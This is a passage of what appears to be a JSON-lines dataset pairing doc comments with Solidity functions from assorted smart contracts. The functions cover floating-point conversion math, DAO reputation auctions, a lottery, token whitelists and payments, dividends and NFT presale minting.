|\n ((16383 + msb) << 112);\n\n return bytes16(uint128(result));\n }\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Convert quadruple precision number into unsigned 256-bit integer number\n * rounding towards zero. Revert on underflow. Note, that negative floating\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\n * without error, because they are rounded to zero.\n *\n * @param x quadruple precision number\n * @return unsigned 256-bit integer number\n */", "function_code": "function toUInt(bytes16 x) internal pure returns (uint256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n if (exponent < 16383) return 0; // Underflow\n\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\n\n require(exponent <= 16638); // Overflow\n uint256 result =\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16495) result >>= 16495 - exponent;\n else if (exponent > 16495) result <<= exponent - 16495;\n\n return result;\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Convert signed 128.128 bit fixed point number into quadruple precision\n * number.\n *\n * @param x signed 128.128 bit fixed point number\n * @return quadruple precision number\n */", "function_code": "function from128x128(int256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint256(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16255 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Convert quadruple precision number into signed 64.64 bit fixed point\n * number. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 64.64 bit fixed point number\n */", "function_code": "function to64x64(bytes16 x) internal pure returns (int128) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16446); // Overflow\n if (exponent < 16319) return 0; // Underflow\n\n uint256 result =\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16431) result >>= 16431 - exponent;\n else if (exponent > 16431) result <<= exponent - 16431;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(result <= 0x80000000000000000000000000000000);\n return -int128(int256(result)); // We rely on overflow behavior here\n } else {\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128(int256(result));\n }\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Convert octuple precision number into quadruple precision number.\n *\n * @param x octuple precision number\n * @return quadruple precision number\n */", "function_code": "function fromOctuple(bytes32 x) internal pure returns (bytes16) {\n unchecked {\n bool negative =\n x &\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\n 0;\n\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\n uint256 significand =\n uint256(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (exponent == 0x7FFFF) {\n if (significand > 0) return NaN;\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n }\n\n if (exponent > 278526)\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n else if (exponent < 245649)\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\n else if (exponent < 245761) {\n significand =\n (significand |\n 0x100000000000000000000000000000000000000000000000000000000000) >>\n (245885 - exponent);\n exponent = 0;\n } else {\n significand >>= 124;\n exponent -= 245760;\n }\n\n uint128 result = uint128(significand | (exponent << 112));\n if (negative) result |= 0x80000000000000000000000000000000;\n\n return bytes16(result);\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Convert double precision number into quadruple precision number.\n *\n * @param x double precision number\n * @return quadruple precision number\n */", "function_code": "function fromDouble(bytes8 x) internal pure returns (bytes16) {\n unchecked {\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\n\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\n\n if (exponent == 0x7FF)\n exponent = 0x7FFF; // Infinity or NaN\n else if (exponent == 0) {\n if (result > 0) {\n uint256 msb = mostSignificantBit(result);\n result =\n (result << (112 - msb)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n exponent = 15309 + msb;\n }\n } else {\n result <<= 60;\n exponent += 15360;\n }\n\n result |= exponent << 112;\n if (x & 0x8000000000000000 > 0)\n result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\n *\n * @param x quadruple precision number\n * @return sign of x\n */", "function_code": "function sign(bytes16 x) internal pure returns (int8) {\n unchecked {\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n if (absoluteX == 0) return 0;\n else if (uint128(x) >= 0x80000000000000000000000000000000)\n return -1;\n else return 1;\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Calculate sign (x - y). Revert if either argument is NaN, or both\n * arguments are infinities of the same sign.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return sign (x - y)\n */", "function_code": "function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\n unchecked {\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n // Not infinities of the same sign\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\n\n if (x == y) return 0;\n else {\n bool negativeX =\n uint128(x) >= 0x80000000000000000000000000000000;\n bool negativeY =\n uint128(y) >= 0x80000000000000000000000000000000;\n\n if (negativeX) {\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\n else return -1;\n } else {\n if (negativeY) return 1;\n else return absoluteX > absoluteY ? int8(1) : -1;\n }\n }\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Get index of the most significant non-zero bit in binary representation of\n * x. Reverts if x is zero.\n *\n * @return index of the most significant non-zero bit in binary representation\n * of x\n */", "function_code": "function mostSignificantBit(uint256 x) private pure returns (uint256) {\n unchecked {\n require(x > 0);\n\n uint256 result = 0;\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n result += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n result += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n result += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n result += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n result += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n result += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n result += 2;\n }\n if (x >= 0x2) result += 1; // No need to shift x anymore\n\n return result;\n }\n }", "version": "0.8.3"} {"comment": "/// @dev batch claiming", "function_code": "function claimAll(\r\n address[] calldata userAddresses, \r\n DxTokenContracts4Rep mapIdx\r\n ) \r\n external \r\n returns(bytes32[] memory) \r\n {\r\n require(uint(mapIdx) < 3, \"mapIdx cannot be greater than 2\");\r\n\r\n DxToken4RepInterface claimingContract;\r\n\r\n if (mapIdx == DxTokenContracts4Rep.dxLER) {\r\n claimingContract = dxLER;\r\n } else if (mapIdx == DxTokenContracts4Rep.dxLMR) {\r\n claimingContract = dxLMR;\r\n } else if (mapIdx == DxTokenContracts4Rep.dxLWR) {\r\n claimingContract = dxLWR;\r\n }\r\n\r\n uint length = userAddresses.length;\r\n\r\n bytes32[] memory returnArray = new bytes32[](length);\r\n\r\n for (uint i = 0; i < length; i++) {\r\n returnArray[i] = claimingContract.claim(userAddresses[i]);\r\n }\r\n\r\n return returnArray;\r\n }", "version": "0.5.4"} {"comment": "/// @dev batch redeeming", "function_code": "function redeemAll(\r\n address[] calldata userAddresses, \r\n DxTokenContracts4Rep mapIdx\r\n ) \r\n external \r\n returns(uint256[] memory) \r\n { \r\n require(uint(mapIdx) < 3, \"mapIdx cannot be greater than 2\");\r\n\r\n DxToken4RepInterface redeemingContract;\r\n\r\n if (mapIdx == DxTokenContracts4Rep.dxLER) {\r\n redeemingContract = dxLER;\r\n } else if (mapIdx == DxTokenContracts4Rep.dxLMR) {\r\n redeemingContract = dxLMR;\r\n } else if (mapIdx == DxTokenContracts4Rep.dxLWR) {\r\n redeemingContract = dxLWR;\r\n }\r\n\r\n uint length = userAddresses.length;\r\n\r\n uint256[] memory returnArray = new uint256[](length);\r\n\r\n for (uint i = 0; i < length; i++) {\r\n returnArray[i] = redeemingContract.redeem(userAddresses[i]);\r\n }\r\n\r\n return returnArray;\r\n }", "version": "0.5.4"} {"comment": "/// @dev batch redeeming (dxGAR only)", "function_code": "function redeemAllGAR(\r\n address[] calldata userAddresses, \r\n uint256[] calldata auctionIndices\r\n ) \r\n external \r\n returns(uint256[] memory) \r\n { \r\n require(userAddresses.length == auctionIndices.length, \"userAddresses and auctioIndices must be the same length arrays\");\r\n\r\n uint length = userAddresses.length;\r\n\r\n uint256[] memory returnArray = new uint256[](length);\r\n\r\n for (uint i = 0; i < length; i++) {\r\n returnArray[i] = dxGAR.redeem(userAddresses[i], auctionIndices[i]);\r\n }\r\n\r\n return returnArray;\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev initialize\r\n * @param _avatar the avatar to mint reputation from\r\n * @param _auctionReputationReward the reputation reward per auction this contract will reward\r\n * for the token locking\r\n * @param _auctionsStartTime auctions period start time\r\n * @param _auctionPeriod auctions period time.\r\n * auctionsEndTime is set to _auctionsStartTime + _auctionPeriod*_numberOfAuctions\r\n * bidding is disable after auctionsEndTime.\r\n * @param _numberOfAuctions number of auctions.\r\n * @param _redeemEnableTime redeem enable time .\r\n * redeem reputation can be done after this time.\r\n * @param _token the bidding token\r\n * @param _wallet the address of the wallet the token will be transfer to.\r\n * Please note that _wallet address should be a trusted account.\r\n * Normally this address should be set as the DAO's avatar address.\r\n */", "function_code": "function initialize(\r\n Avatar _avatar,\r\n uint256 _auctionReputationReward,\r\n uint256 _auctionsStartTime,\r\n uint256 _auctionPeriod,\r\n uint256 _numberOfAuctions,\r\n uint256 _redeemEnableTime,\r\n IERC20 _token,\r\n address _wallet)\r\n external\r\n {\r\n require(avatar == Avatar(0), \"can be called only one time\");\r\n require(_avatar != Avatar(0), \"avatar cannot be zero\");\r\n require(_numberOfAuctions > 0, \"number of auctions cannot be zero\");\r\n //_auctionPeriod should be greater than block interval\r\n require(_auctionPeriod > 15, \"auctionPeriod should be > 15\");\r\n auctionPeriod = _auctionPeriod;\r\n auctionsEndTime = _auctionsStartTime + _auctionPeriod.mul(_numberOfAuctions);\r\n require(_redeemEnableTime >= auctionsEndTime, \"_redeemEnableTime >= auctionsEndTime\");\r\n token = _token;\r\n avatar = _avatar;\r\n auctionsStartTime = _auctionsStartTime;\r\n numberOfAuctions = _numberOfAuctions;\r\n wallet = _wallet;\r\n auctionReputationReward = _auctionReputationReward;\r\n reputationRewardLeft = _auctionReputationReward.mul(_numberOfAuctions);\r\n redeemEnableTime = _redeemEnableTime;\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev redeem reputation function\r\n * @param _beneficiary the beneficiary to redeem.\r\n * @param _auctionId the auction id to redeem from.\r\n * @return uint256 reputation rewarded\r\n */", "function_code": "function redeem(address _beneficiary, uint256 _auctionId) public returns(uint256 reputation) {\r\n // solhint-disable-next-line not-rely-on-time\r\n require(now > redeemEnableTime, \"now > redeemEnableTime\");\r\n Auction storage auction = auctions[_auctionId];\r\n uint256 bid = auction.bids[_beneficiary];\r\n require(bid > 0, \"bidding amount should be > 0\");\r\n auction.bids[_beneficiary] = 0;\r\n uint256 repRelation = bid.mul(auctionReputationReward);\r\n reputation = repRelation.div(auction.totalBid);\r\n // check that the reputation is sum zero\r\n reputationRewardLeft = reputationRewardLeft.sub(reputation);\r\n require(\r\n ControllerInterface(avatar.owner())\r\n .mintReputation(reputation, _beneficiary, address(avatar)), \"mint reputation should succeed\");\r\n emit Redeem(_auctionId, _beneficiary, reputation);\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev bid function\r\n * @param _amount the amount to bid with\r\n * @param _auctionId the auction id to bid at .\r\n * @return auctionId\r\n */", "function_code": "function bid(uint256 _amount, uint256 _auctionId) public returns(uint256 auctionId) {\r\n require(_amount > 0, \"bidding amount should be > 0\");\r\n // solhint-disable-next-line not-rely-on-time\r\n require(now < auctionsEndTime, \"bidding should be within the allowed bidding period\");\r\n // solhint-disable-next-line not-rely-on-time\r\n require(now >= auctionsStartTime, \"bidding is enable only after bidding auctionsStartTime\");\r\n address(token).safeTransferFrom(msg.sender, address(this), _amount);\r\n // solhint-disable-next-line not-rely-on-time\r\n auctionId = (now - auctionsStartTime) / auctionPeriod;\r\n require(auctionId == _auctionId, \"auction is not active\");\r\n Auction storage auction = auctions[auctionId];\r\n auction.totalBid = auction.totalBid.add(_amount);\r\n auction.bids[msg.sender] = auction.bids[msg.sender].add(_amount);\r\n emit Bid(msg.sender, auctionId, _amount);\r\n }", "version": "0.5.4"} {"comment": "// callback function", "function_code": "function ()\r\n payable\r\n {\r\n // fllows addresses only can activate the game\r\n if (msg.sender == activate_addr1 ||\r\n msg.sender == activate_addr2\r\n ){\r\n activate();\r\n }else if(msg.value > 0){ //bet order\r\n // fetch player id\r\n address _addr = msg.sender;\r\n uint256 _codeLength;\r\n require(tx.origin == msg.sender, \"sorry humans only origin\");\r\n assembly {_codeLength := extcodesize(_addr)}\r\n require(_codeLength == 0, \"sorry humans only=================\");\r\n\r\n determinePID();\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n uint256 _ticketprice = getBuyPrice();\r\n require(_ticketprice > 0);\r\n uint256 _tickets = msg.value / _ticketprice;\r\n require(_tickets > 0);\r\n // buy tickets\r\n require(activated_ == true, \"its not ready yet. contact administrators\");\r\n require(_tickets <= ticketstotal_ - round_[rID_].tickets);\r\n buyTicket(_pID, plyr_[_pID].laff, _tickets);\r\n }\r\n\r\n }", "version": "0.4.24"} {"comment": "// _pID: player pid _rIDlast: last roundid", "function_code": "function updateTicketVault(uint256 _pID, uint256 _rIDlast) private{\r\n \r\n uint256 _gen = (plyrRnds_[_pID][_rIDlast].luckytickets.mul(round_[_rIDlast].mask / _headtickets)).sub(plyrRnds_[_pID][_rIDlast].mask);\r\n \r\n uint256 _jackpot = 0;\r\n if (judgeWin(_rIDlast, _pID) && address(round_[_rIDlast].winner) == 0) {\r\n _jackpot = round_[_rIDlast].jackpot;\r\n round_[_rIDlast].winner = msg.sender;\r\n }\r\n plyr_[_pID].gen = _gen.add(plyr_[_pID].gen); // ticket valuet\r\n plyr_[_pID].win = _jackpot.add(plyr_[_pID].win); // player win\r\n plyrRnds_[_pID][_rIDlast].mask = plyrRnds_[_pID][_rIDlast].mask.add(_gen);\r\n }", "version": "0.4.24"} {"comment": "/** upon contract deploy, it will be deactivated. this is a one time\r\n * use function that will activate the contract. we do this so devs \r\n * have time to set things up on the web end **/", "function_code": "function activate()\r\n isHuman()\r\n public\r\n payable\r\n {\r\n // can only be ran once\r\n require(msg.sender == activate_addr1 ||\r\n msg.sender == activate_addr2);\r\n \r\n require(activated_ == false, \"LuckyCoin already activated\");\r\n //uint256 _jackpot = 10 ether;\r\n require(msg.value == jackpot, \"activate game need 10 ether\");\r\n \r\n if (rID_ != 0) {\r\n require(round_[rID_].tickets >= round_[rID_].lucknum, \"nobody win\");\r\n }\r\n //activate the contract \r\n activated_ = true;\r\n //lets start first round\r\n rID_ ++;\r\n round_[rID_].start = now;\r\n round_[rID_].end = now + rndGap_;\r\n round_[rID_].jackpot = msg.value;\r\n emit onActivate(rID_);\r\n }", "version": "0.4.24"} {"comment": "// only support Name by name", "function_code": "function registerNameXname(string _nameString, bytes32 _affCode, bool _all)\r\n isHuman()\r\n public\r\n payable\r\n {\r\n bytes32 _name = _nameString.nameFilter();\r\n address _addr = msg.sender;\r\n uint256 _paid = msg.value;\r\n (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);\r\n \r\n uint256 _pID = pIDxAddr_[_addr];\r\n \r\n // fire event\r\n emit Coinevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);\r\n }", "version": "0.4.24"} {"comment": "// search user if win", "function_code": "function judgeWin(uint256 _rid, uint256 _pID)private view returns(bool){\r\n uint256 _group = (round_[_rid].lucknum -1) / grouptotal_;\r\n uint256 _temp = round_[_rid].lucknum % grouptotal_;\r\n if (_temp == 0){\r\n _temp = grouptotal_;\r\n }\r\n\r\n if (orders[_rid][_pID][_group] & (2 **(_temp-1)) == 2 **(_temp-1)){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Adds a list of addresses to the admins list.\n/// @dev Requires that the msg.sender is the Owner. Emits an event on success.\n/// @param _admins The list of addresses to add to the admins mapping.", "function_code": "function addAddressesToAdmins(address[] _admins) external onlyOwner {\r\n require(_admins.length > 0, \"Cannot add an empty list to admins!\");\r\n for (uint256 i = 0; i < _admins.length; ++i) {\r\n address user = _admins[i];\r\n require(user != address(0), \"Cannot add the zero address to admins!\");\r\n\r\n if (!admins[user]) {\r\n admins[user] = true;\r\n\r\n emit AdminAdded(user);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Removes a list of addresses from the admins list.\n/// @dev Requires that the msg.sender is an Owner. It is possible for the admins list to be empty, this is a fail safe\n/// in the event the admin accounts are compromised. The owner has the ability to lockout the server access from which\n/// TravelBlock is processing payments. Emits an event on success.\n/// @param _admins The list of addresses to remove from the admins mapping.", "function_code": "function removeAddressesFromAdmins(address[] _admins) external onlyOwner {\r\n require(_admins.length > 0, \"Cannot remove an empty list to admins!\");\r\n for (uint256 i = 0; i < _admins.length; ++i) {\r\n address user = _admins[i];\r\n\r\n if (admins[user]) {\r\n admins[user] = false;\r\n\r\n emit AdminRemoved(user);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Adds a list of addresses to the whitelist.\n/// @dev Requires that the msg.sender is the Admin. Emits an event on success.\n/// @param _users The list of addresses to add to the whitelist.", "function_code": "function addAddressesToWhitelist(address[] _users) external onlyAdmin {\r\n require(_users.length > 0, \"Cannot add an empty list to whitelist!\");\r\n for (uint256 i = 0; i < _users.length; ++i) {\r\n address user = _users[i];\r\n require(user != address(0), \"Cannot add the zero address to whitelist!\");\r\n\r\n if (!whitelist[user]) {\r\n whitelist[user] = true;\r\n\r\n emit WhitelistAdded(user);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Removes a list of addresses from the whitelist.\n/// @dev Requires that the msg.sender is an Admin. Emits an event on success.\n/// @param _users The list of addresses to remove from the whitelist.", "function_code": "function removeAddressesFromWhitelist(address[] _users) external onlyAdmin {\r\n require(_users.length > 0, \"Cannot remove an empty list to whitelist!\");\r\n for (uint256 i = 0; i < _users.length; ++i) {\r\n address user = _users[i];\r\n\r\n if (whitelist[user]) {\r\n whitelist[user] = false;\r\n\r\n emit WhitelistRemoved(user);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Process a payment that prioritizes the use of regular tokens.\n/// @dev Uses up all of the available regular tokens, before using rewards tokens to cover a payment. Pushes the calculated amounts\n/// into their respective function calls.\n/// @param _amount The total tokens to be paid.", "function_code": "function paymentRegularTokensPriority (uint256 _amount, uint256 _rewardPercentageIndex) public {\r\n uint256 regularTokensAvailable = balances[msg.sender];\r\n\r\n if (regularTokensAvailable >= _amount) {\r\n paymentRegularTokens(_amount, _rewardPercentageIndex);\r\n\r\n } else {\r\n if (regularTokensAvailable > 0) {\r\n uint256 amountOfRewardsTokens = _amount.sub(regularTokensAvailable);\r\n paymentMixed(regularTokensAvailable, amountOfRewardsTokens, _rewardPercentageIndex);\r\n } else {\r\n paymentRewardTokens(_amount);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Process a payment using only regular TRVL Tokens with a specified reward percentage.\n/// @dev Adjusts the balances accordingly and applies a reward token bonus. The accounts must be whitelisted because the travel team must own the address\n/// to make transfers on their behalf.\n/// Requires:\n/// - The contract is not paused\n/// - The amount being processed is greater than 0\n/// - The reward index being passed is valid\n/// - The sender has enough tokens to cover the payment\n/// - The sender is a whitelisted address\n/// @param _regularTokenAmount The amount of regular tokens being used for the payment.\n/// @param _rewardPercentageIndex The index pointing to the percentage of reward tokens to be applied.", "function_code": "function paymentRegularTokens (uint256 _regularTokenAmount, uint256 _rewardPercentageIndex)\r\n public\r\n validAmount(_regularTokenAmount)\r\n isValidRewardIndex(_rewardPercentageIndex)\r\n senderHasEnoughTokens(_regularTokenAmount, 0)\r\n isWhitelisted(msg.sender)\r\n whenNotPaused\r\n {\r\n // 1. Pay the specified amount with from the balance of the user/sender.\r\n balances[msg.sender] = balances[msg.sender].sub(_regularTokenAmount);\r\n\r\n // 2. distribute reward tokens to the user.\r\n uint256 rewardAmount = getRewardToken(_regularTokenAmount, _rewardPercentageIndex);\r\n rewardBalances[msg.sender] = rewardBalances[msg.sender].add(rewardAmount);\r\n emit TransferReward(owner, msg.sender, rewardAmount);\r\n\r\n // 3. Update the owner balance minus the reward tokens.\r\n balances[owner] = balances[owner].add(_regularTokenAmount.sub(rewardAmount));\r\n emit Transfer(msg.sender, owner, _regularTokenAmount.sub(rewardAmount));\r\n }", "version": "0.4.24"} {"comment": "/** \r\n @dev refund 45,000 gas for functions with gasRefund modifier.\r\n */", "function_code": "function gasRefund() public {\r\n uint256 len = gasRefundPool.length;\r\n if (len > 2 && tx.gasprice > gasRefundPool[len-1]) {\r\n gasRefundPool[--len] = 0;\r\n gasRefundPool[--len] = 0;\r\n gasRefundPool[--len] = 0;\r\n gasRefundPool.length = len;\r\n } \r\n }", "version": "0.5.1"} {"comment": "/**\r\n * @dev migrate X amount of type A to type B\r\n */", "function_code": "function migration(\r\n uint256 from,\r\n uint256 to,\r\n uint256 count\r\n ) external {\r\n require(\r\n amountToMint[from][to] > 0 && amountToBurn[from][to] > 0,\r\n \"Invalid transform\"\r\n );\r\n IDynamic1155(token).burn(\r\n msg.sender,\r\n from,\r\n amountToBurn[from][to] * count\r\n );\r\n IDynamic1155(token).safeTransferFrom(\r\n address(this),\r\n msg.sender,\r\n to,\r\n count * amountToMint[from][to],\r\n \"\"\r\n );\r\n }", "version": "0.8.12"} {"comment": "/*\r\n * Fetches RebalancingSetToken liquidator for an array of RebalancingSetToken instances\r\n *\r\n * @param _rebalancingSetTokens[] RebalancingSetToken contract instances\r\n * @return address[] Current liquidator being used by RebalancingSetToken\r\n */", "function_code": "function batchFetchOraclePrices(\r\n IOracle[] calldata _oracles\r\n )\r\n external\r\n returns (uint256[] memory)\r\n {\r\n // Cache length of addresses to fetch states for\r\n uint256 _addressesCount = _oracles.length;\r\n\r\n // Instantiate output array in memory\r\n uint256[] memory prices = new uint256[](_addressesCount);\r\n\r\n // Cycles through contract addresses array and fetches the current price of each oracle\r\n for (uint256 i = 0; i < _addressesCount; i++) {\r\n prices[i] = _oracles[i].read();\r\n }\r\n\r\n return prices;\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches multiple balances for passed in array of ERC20 contract addresses for an owner\r\n *\r\n * @param _tokenAddresses Addresses of ERC20 contracts to check balance for\r\n * @param _owner Address to check balance of _tokenAddresses for\r\n * @return uint256[] Array of balances for each ERC20 contract passed in\r\n */", "function_code": "function batchFetchBalancesOf(\r\n address[] calldata _tokenAddresses,\r\n address _owner\r\n )\r\n external\r\n returns (uint256[] memory)\r\n {\r\n // Cache length of addresses to fetch balances for\r\n uint256 _addressesCount = _tokenAddresses.length;\r\n\r\n // Instantiate output array in memory\r\n uint256[] memory balances = new uint256[](_addressesCount);\r\n\r\n // Cycle through contract addresses array and fetching the balance of each for the owner\r\n for (uint256 i = 0; i < _addressesCount; i++) {\r\n balances[i] = IERC20(_tokenAddresses[i]).balanceOf(_owner);\r\n }\r\n\r\n return balances;\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches token balances for each tokenAddress, tokenOwner pair\r\n *\r\n * @param _tokenAddresses Addresses of ERC20 contracts to check balance for\r\n * @param _tokenOwners Addresses of users sequential to tokenAddress to fetch balance for\r\n * @return uint256[] Array of balances for each ERC20 contract passed in\r\n */", "function_code": "function batchFetchUsersBalances(\r\n address[] calldata _tokenAddresses,\r\n address[] calldata _tokenOwners\r\n )\r\n external\r\n returns (uint256[] memory)\r\n {\r\n // Cache length of addresses to fetch balances for\r\n uint256 _addressesCount = _tokenAddresses.length;\r\n\r\n // Instantiate output array in memory\r\n uint256[] memory balances = new uint256[](_addressesCount);\r\n\r\n // Cycle through contract addresses array and fetching the balance of each for the owner\r\n for (uint256 i = 0; i < _addressesCount; i++) {\r\n balances[i] = IERC20(_tokenAddresses[i]).balanceOf(_tokenOwners[i]);\r\n }\r\n\r\n return balances;\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches multiple supplies for passed in array of ERC20 contract addresses\r\n *\r\n * @param _tokenAddresses Addresses of ERC20 contracts to check supply for\r\n * @return uint256[] Array of supplies for each ERC20 contract passed in\r\n */", "function_code": "function batchFetchSupplies(\r\n address[] calldata _tokenAddresses\r\n )\r\n external\r\n returns (uint256[] memory)\r\n {\r\n // Cache length of addresses to fetch supplies for\r\n uint256 _addressesCount = _tokenAddresses.length;\r\n\r\n // Instantiate output array in memory\r\n uint256[] memory supplies = new uint256[](_addressesCount);\r\n\r\n // Cycle through contract addresses array and fetching the supply of each\r\n for (uint256 i = 0; i < _addressesCount; i++) {\r\n supplies[i] = IERC20(_tokenAddresses[i]).totalSupply();\r\n }\r\n\r\n return supplies;\r\n }", "version": "0.5.7"} {"comment": "/// @dev adds dividends to the account _to", "function_code": "function payDividendsTo(address _to) internal {\r\n (bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum) = calculateDividendsFor(_to);\r\n if (!hasNewDividends)\r\n return;\r\n\r\n if (0 != dividends) {\r\n bool res = _to.send(dividends);\r\n if (res) {\r\n emit PayDividend(_to, dividends);\r\n }\r\n else{\r\n // _to probably is a contract not able to receive ether\r\n emit HangingDividend(_to, dividends);\r\n m_totalHangingDividends = m_totalHangingDividends.add(dividends);\r\n }\r\n }\r\n\r\n m_lastAccountEmission[_to] = lastProcessedEmissionNum;\r\n if (lastProcessedEmissionNum == getLastEmissionNum()) {\r\n m_lastDividends[_to] = m_totalDividends;\r\n }\r\n else {\r\n m_lastDividends[_to] = m_emissions[lastProcessedEmissionNum.add(1)].totalBalanceWas;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Claim Breadsticks for a given NFOG ID\n/// @param tokenId The tokenId of the NFOG NFT", "function_code": "function claimById(uint256 tokenId) external {\r\n // Follow the Checks-Effects-Interactions pattern to prevent reentrancy\r\n // attacks\r\n\r\n // Checks\r\n\r\n // Check that the msgSender owns the token that is being claimed\r\n require(\r\n _msgSender() == oliveGardenContract.ownerOf(tokenId),\r\n \"MUST_OWN_TOKEN_ID\"\r\n );\r\n\r\n // Further Checks, Effects, and Interactions are contained within the\r\n // _claim() function\r\n _claim(tokenId, _msgSender());\r\n }", "version": "0.8.7"} {"comment": "/// @dev Internal function to mint Breadsticks upon claiming", "function_code": "function _claim(uint256 tokenId, address tokenOwner) internal {\r\n // Checks\r\n // Check that the token ID is in range\r\n // We use >= and <= to here because all of the token IDs are 0-indexed\r\n require(\r\n tokenId >= tokenIdStart && tokenId <= tokenIdEnd,\r\n \"TOKEN_ID_OUT_OF_RANGE\"\r\n );\r\n\r\n // Check that Breadsticks have not already been claimed this season\r\n // for a given tokenId\r\n require(\r\n !seasonClaimedByTokenId[season][tokenId],\r\n \"BSTICKS_CLAIMED_FOR_TOKEN_ID\"\r\n );\r\n\r\n // Effects\r\n\r\n // Mark that Breadsticks has been claimed for this season for the\r\n // given tokenId\r\n seasonClaimedByTokenId[season][tokenId] = true;\r\n\r\n // Interactions\r\n\r\n // Send Breadsticks to the owner of the token ID\r\n _mint(tokenOwner, breadsticksPerTokenId);\r\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Presale wallet list mint\n */", "function_code": "function mintPresale(uint256 numberOfTokens, bytes32[] calldata _merkleProof) external payable nonReentrant{\n require(mintIsActivePresale, \"Presale mint is not active\");\n require(\n numberOfTokens <= maxTokensPerTransactionPresale, \n \"You went over max tokens per transaction\"\n );\n require(\n\t msg.value >= tokenPricePresale * numberOfTokens,\n \"You sent the incorrect amount of ETH\"\n );\n require(\n !presaleMerkleWalletList[mintingTokenID][msg.sender], \n \"You are not on the presale wallet list or have already minted\"\n );\n require(\n numberMintedPresale + numberOfTokens <= maxTokensPresale, \n \"Not enough tokens left to mint that many\"\n );\n require(\n numberMintedTotal + numberOfTokens <= maxTokens, \n \"Not enough tokens left to mint that many\"\n );\n\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\n require(MerkleProof.verify(_merkleProof, presaleMerkleRoot, leaf), \"Invalid Proof\");\n numberMintedPresale += numberOfTokens;\n numberMintedTotal += numberOfTokens;\n 